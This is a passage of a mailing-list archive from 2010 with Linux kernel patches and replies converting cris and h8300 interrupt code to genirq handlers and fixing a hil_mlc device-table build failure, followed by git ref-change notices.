>   alpha, cris, ia64, h8300, m32r, m68knommu, parisc, um
> 
> So now the question arises what to do with __do_IRQ().
> 

In penance while I finish testing what I can on parisc this week
(conversion is done, I just need to find time to plug in ancient crap
 and see if it still handles interrupts...) I've killed __do_IRQ on
cris. Sort of. I have no idea if it builds or anything, but it was
pretty low-hanging fruit since it does all its own masking in its
entry point, so as near as I can tell, aside from disabling spurious
irqs, none of the irq_chip handlers aside from affinity are needed
on cris.

(Since it's masking/unmasking itself, it looks like handle_simple_irq
 will work for the common irqs, and on v32 we can use handle_percpu_irq
 for the timer and ipi.)

Visual compilation at least gives me a logical flow that seems generally
sensible.

I'd appreciate a second pair of eyes, and if it's ok, I'll clean it up
and submit it.

regards, Kyle

---

 arch-v10/kernel/irq.c |   26 +++++---------------------
 arch-v32/kernel/irq.c |   49 ++++++++++++-------------------------------------
 kernel/irq.c          |    2 +-
 3 files changed, 18 insertions(+), 59 deletions(-)

diff --git a/arch/cris/arch-v10/kernel/irq.c b/arch/cris/arch-v10/kernel/irq.c
index a0c0df8..07f17ce 100644
--- a/arch/cris/arch-v10/kernel/irq.c
+++ b/arch/cris/arch-v10/kernel/irq.c
@@ -104,16 +104,6 @@ static void (*interrupt[NR_IRQS])(void) = {
 	IRQ31_interrupt
 };
 
-static void enable_crisv10_irq(unsigned int irq);
-
-static unsigned int startup_crisv10_irq(unsigned int irq)
-{
-	enable_crisv10_irq(irq);
-	return 0;
-}
-
-#define shutdown_crisv10_irq	disable_crisv10_irq
-
 static void enable_crisv10_irq(unsigned int irq)
 {
 	crisv10_unmask_irq(irq);
@@ -124,22 +114,16 @@ static void disable_crisv10_irq(unsigned int irq)
 	crisv10_mask_irq(irq);
 }
 
-static void ack_crisv10_irq(unsigned int irq)
-{
-}
-
-static void end_crisv10_irq(unsigned int irq)
+static void crisv10_noop(unsigned int irq)
 {
 }
 
 static struct irq_chip crisv10_irq_type = {
 	.name =        "CRISv10",
-	.startup =     startup_crisv10_irq,
-	.shutdown =    shutdown_crisv10_irq,
-	.enable =      enable_crisv10_irq,
+	.unmask =      enable_crisv10_irq,
+	.mask =        disable_crisv10_irq,
 	.disable =     disable_crisv10_irq,
-	.ack =         ack_crisv10_irq,
-	.end =         end_crisv10_irq,
+	.ack =         crisv10_noop,
 	.set_affinity = NULL
 };
 
@@ -221,7 +205,7 @@ init_IRQ(void)
 
 	/* Initialize IRQ handler descriptors. */
 	for(i = 2; i < NR_IRQS; i++) {
-		irq_desc[i].chip = &crisv10_irq_type;
+		set_irq_chip_and_handler(i, &crisv10_irq_type, handle_simple_irq);
 		set_int_vector(i, interrupt[i]);
 	}
 
diff --git a/arch/cris/arch-v32/kernel/irq.c b/arch/cris/arch-v32/kernel/irq.c
index 2ed48ae..2efc98c 100644
--- a/arch/cris/arch-v32/kernel/irq.c
+++ b/arch/cris/arch-v32/kernel/irq.c
@@ -290,36 +290,6 @@ void crisv32_unmask_irq(int irq)
 	unblock_irq(irq, irq_cpu(irq));
 }
 
-
-static unsigned int startup_crisv32_irq(unsigned int irq)
-{
-	crisv32_unmask_irq(irq);
-	return 0;
-}
-
-static void shutdown_crisv32_irq(unsigned int irq)
-{
-	crisv32_mask_irq(irq);
-}
-
-static void enable_crisv32_irq(unsigned int irq)
-{
-	crisv32_unmask_irq(irq);
-}
-
-static void disable_crisv32_irq(unsigned int irq)
-{
-	crisv32_mask_irq(irq);
-}
-
-static void ack_crisv32_irq(unsigned int irq)
-{
-}
-
-static void end_crisv32_irq(unsigned int irq)
-{
-}
-
 int set_affinity_crisv32_irq(unsigned int irq, const struct cpumask *dest)
 {
 	unsigned long flags;
@@ -330,14 +300,16 @@ int set_affinity_crisv32_irq(unsigned int irq, const struct cpumask *dest)
 	return 0;
 }
 
+static void crisv32_noop(unsigned int irq)
+{
+}
+
 static struct irq_chip crisv32_irq_type = {
 	.name =        "CRISv32",
-	.startup =     startup_crisv32_irq,
-	.shutdown =    shutdown_crisv32_irq,
-	.enable =      enable_crisv32_irq,
-	.disable =     disable_crisv32_irq,
-	.ack =         ack_crisv32_irq,
-	.end =         end_crisv32_irq,
+	.mask =        crisv32_mask_irq,
+	.disable =     crisv32_mask_irq,
+	.unmask =      crisv32_unmask_irq,
+	.ack =         crisv32_noop,
 	.set_affinity = set_affinity_crisv32_irq
 };
 
@@ -472,15 +444,18 @@ init_IRQ(void)
 
 	/* Point all IRQ's to bad handlers. */
 	for (i = FIRST_IRQ, j = 0; j < NR_IRQS; i++, j++) {
-		irq_desc[j].chip = &crisv32_irq_type;
+		set_irq_chip_and_handler(j, &crisv32_irq_type,
+			handle_simple_irq);
 		set_exception_vector(i, interrupt[j]);
 	}
 
         /* Mark Timer and IPI IRQs as CPU local */
 	irq_allocations[TIMER0_INTR_VECT - FIRST_IRQ].cpu = CPU_FIXED;
 	irq_desc[TIMER0_INTR_VECT].status |= IRQ_PER_CPU;
+	set_irq_handler(TIMER0_INTR_VECT, handle_percpu_irq);
 	irq_allocations[IPI_INTR_VECT - FIRST_IRQ].cpu = CPU_FIXED;
 	irq_desc[IPI_INTR_VECT].status |= IRQ_PER_CPU;
+	set_irq_handler(IPI_INTR_VECT, handle_percpu_irq);
 
 	set_exception_vector(0x00, nmi_interrupt);
 	set_exception_vector(0x30, multiple_interrupt);
diff --git a/arch/cris/kernel/irq.c b/arch/cris/kernel/irq.c
index 469f7f9..14d9ce9 100644
--- a/arch/cris/kernel/irq.c
+++ b/arch/cris/kernel/irq.c
@@ -93,7 +93,7 @@ asmlinkage void do_IRQ(int irq, struct pt_regs * regs)
 		printk("do_IRQ: stack overflow: %lX\n", sp);
 		show_stack(NULL, (unsigned long *)sp);
 	}
-	__do_IRQ(irq);
+	generic_handle_irq(irq);
         irq_exit();
 	set_irq_regs(old_regs);
 }
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Wed, 29 Sep 2010 22:41:03 -0400
Lines: 77
Approved: news@gmane.org
Message-ID: <20100930024103.GB2604@bombadil.infradead.org>
References: <20100908152036.643594727@linutronix.de>
 <20100930012641.GA2604@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1285814477 13930 80.91.229.12 (30 Sep 2010 02:41:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 30 Sep 2010 02:41:17 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
	LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	linux-alpha@vger.kernel.org, linux-cris-kernel@axis.com,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Tony Luck <tony.luck@intel.com>, linux-ia64@vger.kernel.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	linux-arch@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Sep 30 04:41:12 2010
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1P1955-0003Iu-Tr
	for lnx-linux-alpha@lo.gmane.org; Thu, 30 Sep 2010 04:41:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752696Ab0I3ClL (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Wed, 29 Sep 2010 22:41:11 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:54221 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752452Ab0I3ClK (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Wed, 29 Sep 2010 22:41:10 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1P194x-0002Da-Dw; Thu, 30 Sep 2010 02:41:03 +0000
Content-Disposition: inline
In-Reply-To: <20100930012641.GA2604@bombadil.infradead.org>
User-Agent: Mutt/1.5.20 (2009-08-17)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1184 gmane.linux.kernel:1042714 gmane.linux.ports.ia64:21469 gmane.linux.ports.parisc:3110 gmane.linux.kernel.cross-arch:7780
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3110>

On Wed, Sep 29, 2010 at 09:26:41PM -0400, Kyle McMartin wrote:
> I'd appreciate a second pair of eyes, and if it's ok, I'll clean it up
> and submit it.
> 

Let's do h8300 while we're at it, since that also /looks/ trivial...
(probably famous last words.)

No idea if it's edge or level or what, but given the handlers that would
be called in the __do_IRQ patch, handle_edge_irq seems most sensible.

Executive summary: kill implied .ack = NULL, rename enable to unmask,
kill empty .end since dummy_irq_chip.end will suit us fine. Kill some
unneeded irq_desc initializers that are also implicit...

Again, if someone could build/boot/whatever test this, that would be
fantastic, and I'll add their Tested-by and submit.

--kyle

---
 irq.c |   16 ++++------------
 1 file changed, 4 insertions(+), 12 deletions(-)

diff --git a/arch/h8300/kernel/irq.c b/arch/h8300/kernel/irq.c
index c25dc2c..acdbc07 100644
--- a/arch/h8300/kernel/irq.c
+++ b/arch/h8300/kernel/irq.c
@@ -50,10 +50,6 @@ static void h8300_disable_irq(unsigned int irq)
 		IER_REGS &= ~(1 << (irq - EXT_IRQ0));
 }
 
-static void h8300_end_irq(unsigned int irq)
-{
-}
-
 static unsigned int h8300_startup_irq(unsigned int irq)
 {
 	if (is_ext_irq(irq))
@@ -75,10 +71,9 @@ struct irq_chip h8300irq_chip = {
 	.name		= "H8300-INTC",
 	.startup	= h8300_startup_irq,
 	.shutdown	= h8300_shutdown_irq,
-	.enable		= h8300_enable_irq,
+	.unmask		= h8300_enable_irq,
+	.mask		= h8300_disable_irq,
 	.disable	= h8300_disable_irq,
-	.ack		= NULL,
-	.end		= h8300_end_irq,
 };
 
 #if defined(CONFIG_RAMKERNEL)
@@ -161,17 +156,14 @@ void __init init_IRQ(void)
 	setup_vector();
 
 	for (c = 0; c < NR_IRQS; c++) {
-		irq_desc[c].status = IRQ_DISABLED;
-		irq_desc[c].action = NULL;
-		irq_desc[c].depth = 1;
-		irq_desc[c].chip = &h8300irq_chip;
+		set_irq_chip_and_handler(c, &h8300_irq_chip, handle_edge_irq);
 	}
 }
 
 asmlinkage void do_IRQ(int irq)
 {
 	irq_enter();
-	__do_IRQ(irq);
+	generic_handle_irq(irq);
 	irq_exit();
 }
 
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.next,gmane.linux.kernel.input,gmane.linux.ports.parisc
Subject: [PATCH/RFC] input: hil_mlc - Fix hil_mlc_serio_id file2alias
 failure
Date: Tue, 12 Oct 2010 21:17:49 +0200 (CEST)
Lines: 76
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1010122111270.6491@ayla.of.borg>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1286911080 25942 80.91.229.12 (12 Oct 2010 19:18:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 12 Oct 2010 19:18:00 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-input@vger.kernel.org,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	linux-parisc@vger.kernel.org
To: Dzianis Kahanovich <mahatma@eu.by>, Dmitry Torokhov <dtor@mail.ru>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Oct 12 21:17:58 2010
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1P5kMG-0003f1-VB
	for glpm-linux-m68k@lo.gmane.org; Tue, 12 Oct 2010 21:17:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932189Ab0JLTR4 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 12 Oct 2010 15:17:56 -0400
Original-Received: from juliette.telenet-ops.be ([195.130.137.74]:53679 "EHLO
	juliette.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753989Ab0JLTR4 (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 12 Oct 2010 15:17:56 -0400
Original-Received: from ayla.of.borg ([94.224.189.190])
	by juliette.telenet-ops.be with bizsmtp
	id HvHq1f00A46vLmN06vHqRx; Tue, 12 Oct 2010 21:17:54 +0200
Original-Received: from geert (helo=localhost)
	by ayla.of.borg with local-esmtp (Exim 4.71)
	(envelope-from <geert@linux-m68k.org>)
	id 1P5kM9-0001he-V1; Tue, 12 Oct 2010 21:17:50 +0200
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:1644 gmane.linux.kernel.next:14362 gmane.linux.kernel.input:15867 gmane.linux.ports.parisc:3112
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3112>

Commit e288bf7c346360ac9dafbc1b6d7b6b1a82b51616 ("Input: HIL keyboard and
serio - add missing MODULE_DEVICE_TABLE()") caused the following build
failure on m68k/allmodconfig:

FATAL: drivers/input/serio/hil_mlc: struct serio_device_id is not terminated with a NULL entry!

hil_mlc_serio_id is not an array, but a single struct serio_device_id entry.
Fix the build by converting it into an array, and adding a NULL entry.

Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
---
Build failure in linux-next:
http://kisskb.ellerman.id.au/kisskb/buildresult/3385851/

I'm not sure this is the right fix, as hil_mlc_serio_id is a catch-all ID.
Perhaps the MODULE_DEVICE_TABLE() should just be removed again instead?

 drivers/input/serio/hil_mlc.c |   18 +++++++++++-------
 1 files changed, 11 insertions(+), 7 deletions(-)

diff --git a/drivers/input/serio/hil_mlc.c b/drivers/input/serio/hil_mlc.c
index cc8e01f..43904db 100644
--- a/drivers/input/serio/hil_mlc.c
+++ b/drivers/input/serio/hil_mlc.c
@@ -897,11 +897,15 @@ static void hil_mlc_serio_close(struct serio *serio)
 	/* TODO wake up interruptable */
 }
 
-static const struct serio_device_id hil_mlc_serio_id = {
-	.type = SERIO_HIL_MLC,
-	.proto = SERIO_HIL,
-	.extra = SERIO_ANY,
-	.id = SERIO_ANY,
+static const struct serio_device_id hil_mlc_serio_ids[] = {
+	{
+	    /* There's only one ID, which is a catch-all */
+	    .type = SERIO_HIL_MLC,
+	    .proto = SERIO_HIL,
+	    .extra = SERIO_ANY,
+	    .id = SERIO_ANY,
+	},
+	{ 0 }
 };
 
 int hil_mlc_register(hil_mlc *mlc)
@@ -934,7 +938,7 @@ int hil_mlc_register(hil_mlc *mlc)
 		mlc->serio[i] = mlc_serio;
 		snprintf(mlc_serio->name, sizeof(mlc_serio->name)-1, "HIL_SERIO%d", i);
 		snprintf(mlc_serio->phys, sizeof(mlc_serio->phys)-1, "HIL%d", i);
-		mlc_serio->id			= hil_mlc_serio_id;
+		mlc_serio->id			= hil_mlc_serio_ids[0];
 		mlc_serio->id.id		= i; /* HIL port no. */
 		mlc_serio->write		= hil_mlc_serio_write;
 		mlc_serio->open			= hil_mlc_serio_open;
@@ -1011,7 +1015,7 @@ static void __exit hil_mlc_exit(void)
 }
 
 
-MODULE_DEVICE_TABLE(serio, hil_mlc_serio_id);
+MODULE_DEVICE_TABLE(serio, hil_mlc_serio_ids);
 
 module_init(hil_mlc_init);
 module_exit(hil_mlc_exit);
-- 
1.7.0.4

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds

From - Thu Nov 08 21:06:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Newsgroups: gmane.linux.kernel.next,gmane.linux.kernel.input,gmane.linux.ports.parisc
Subject: Re: [PATCH/RFC] input: hil_mlc - Fix hil_mlc_serio_id file2alias
 failure
Date: Tue, 12 Oct 2010 23:56:02 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20101013065602.GA7014@core.coreip.homeip.net>
References: <alpine.DEB.2.00.1010122111270.6491@ayla.of.borg>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1286952976 10946 80.91.229.12 (13 Oct 2010 06:56:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 13 Oct 2010 06:56:16 +0000 (UTC)
Cc: Dzianis Kahanovich <mahatma@eu.by>, Helge Deller <deller@gmx.de>,
	linux-next@vger.kernel.org, linux-input@vger.kernel.org,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	linux-parisc@vger.kernel.org
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-next-owner@vger.kernel.org Wed Oct 13 08:56:14 2010
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1P5vG0-0008Eb-OY
	for glkn-linux-next@lo.gmane.org; Wed, 13 Oct 2010 08:56:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752858Ab0JMG4L (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Wed, 13 Oct 2010 02:56:11 -0400
Original-Received: from mail-gy0-f174.google.com ([209.85.160.174]:34361 "EHLO
	mail-gy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752475Ab0JMG4K (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Wed, 13 Oct 2010 02:56:10 -0400
Original-Received: by gyg13 with SMTP id 13so293743gyg.19
        for <multiple recipients>; Tue, 12 Oct 2010 23:56:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=/dBxbMxMUMLVAF2rQX+2neHtxZ+fm+vkvqMVOl55Ul8=;
        b=aTlZjyfAvu04JG2Va+u7DtX553kovGcOgEpHD4/vwM68GVEviakcg24Ne7WAIycYsp
         2WLj04Ls31aKzQqWcztmk6LP6mW6QAtyj7PDQ+mP0HUydSt+GLBbkHa4diBHbUoXAVOd
         0/Ye4ZxkH/SLfVf1pfA9ViYwNyfAjBg8WTVNc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        b=fzXWyVUkvjpxGmqDXmILi8wIQTeoprmp94xRTh+d2NvKnAfFpC8QNxSBfJA7KvmdSc
         iLUTq8UiWCIgPJMF2ogaD1BKKKxJbs6dO42PIdpu7GBX61K25IGZOrgLPBJQDt/s3NVH
         akD7V59ftIjzx+V1ccFSpP7X8CYBrjyb1JBLY=
Original-Received: by 10.151.20.3 with SMTP id x3mr425321ybi.322.1286952969483;
        Tue, 12 Oct 2010 23:56:09 -0700 (PDT)
Original-Received: from mailhub.coreip.homeip.net (c-24-6-153-206.hsd1.ca.comcast.net [24.6.153.206])
        by mx.google.com with ESMTPS id v34sm4730909yba.7.2010.10.12.23.56.06
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Tue, 12 Oct 2010 23:56:07 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <alpine.DEB.2.00.1010122111270.6491@ayla.of.borg>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:14369 gmane.linux.kernel.input:15881 gmane.linux.ports.parisc:3113
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3113>

On Tue, Oct 12, 2010 at 09:17:49PM +0200, Geert Uytterhoeven wrote:
> Commit e288bf7c346360ac9dafbc1b6d7b6b1a82b51616 ("Input: HIL keyboard and
> serio - add missing MODULE_DEVICE_TABLE()") caused the following build
> failure on m68k/allmodconfig:
> 
> FATAL: drivers/input/serio/hil_mlc: struct serio_device_id is not terminated with a NULL entry!
> 
> hil_mlc_serio_id is not an array, but a single struct serio_device_id entry.
> Fix the build by converting it into an array, and adding a NULL entry.
> 
> Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
> ---
> Build failure in linux-next:
> http://kisskb.ellerman.id.au/kisskb/buildresult/3385851/
> 
> I'm not sure this is the right fix, as hil_mlc_serio_id is a catch-all ID.
> Perhaps the MODULE_DEVICE_TABLE() should just be removed again instead?
> 

Gah, that original patch was incorrect, I should not have applied it at
all... The serio_device_id in question is for serio port that is being
created by the driver and thus of course should not be used in
MODULE_DEVICE_TABLE().

I'll drop it from my 'next' queue.

-- 
Dmitry

From - Thu Nov 08 21:06:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Thu, 14 Oct 2010 01:04:44 +0000
Lines: 6
Approved: news@gmane.org
Message-ID: <201010140104.o9E14ikU025048@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287018289 11205 80.91.229.12 (14 Oct 2010 01:04:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 14 Oct 2010 01:04:49 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 14 03:04:48 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P6CFU-0005aC-D0
	for glpp-linux-parisc@lo.gmane.org; Thu, 14 Oct 2010 03:04:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754071Ab0JNBEq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Oct 2010 21:04:46 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:56785 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752277Ab0JNBEo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Oct 2010 21:04:44 -0400
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.4/8.14.3) with ESMTP id o9E14iSC025049
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 14 Oct 2010 01:04:44 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.95.2 at hera.kernel.org
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.4/8.14.3/Submit) id o9E14ikU025048
	for linux-parisc@vger.kernel.org; Thu, 14 Oct 2010 01:04:44 GMT
User-Agent: Heirloom mailx 12.4 7/29/08
X-Spam-Status: No, score=-0.1 required=5.0 tests=ALL_TRUSTED,BAYES_00,
	DATE_IN_FUTURE_96_Q autolearn=no version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (hera.kernel.org [127.0.0.1]); Thu, 14 Oct 2010 01:04:44 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3114
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3114>

Rebased ref, commits from common ancestor:
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/parisc
Date: Thu, 14 Oct 2010 01:15:35 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <201010140115.o9E1FZhT002187@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287018940 13303 80.91.229.12 (14 Oct 2010 01:15:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 14 Oct 2010 01:15:40 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 14 03:15:39 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P6CPx-0000sd-Iq
	for glpp-linux-parisc@lo.gmane.org; Thu, 14 Oct 2010 03:15:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752974Ab0JNBPg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Oct 2010 21:15:36 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:49410 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752878Ab0JNBPg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Oct 2010 21:15:36 -0400
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.4/8.14.3) with ESMTP id o9E1FZFv002188
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 14 Oct 2010 01:15:35 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.95.2 at hera.kernel.org
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.4/8.14.3/Submit) id o9E1FZhT002187
	for linux-parisc@vger.kernel.org; Thu, 14 Oct 2010 01:15:35 GMT
User-Agent: Heirloom mailx 12.4 7/29/08
X-Spam-Status: No, score=-0.1 required=5.0 tests=ALL_TRUSTED,BAYES_00,
	DATE_IN_FUTURE_96_Q autolearn=no version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on hera.kernel.org
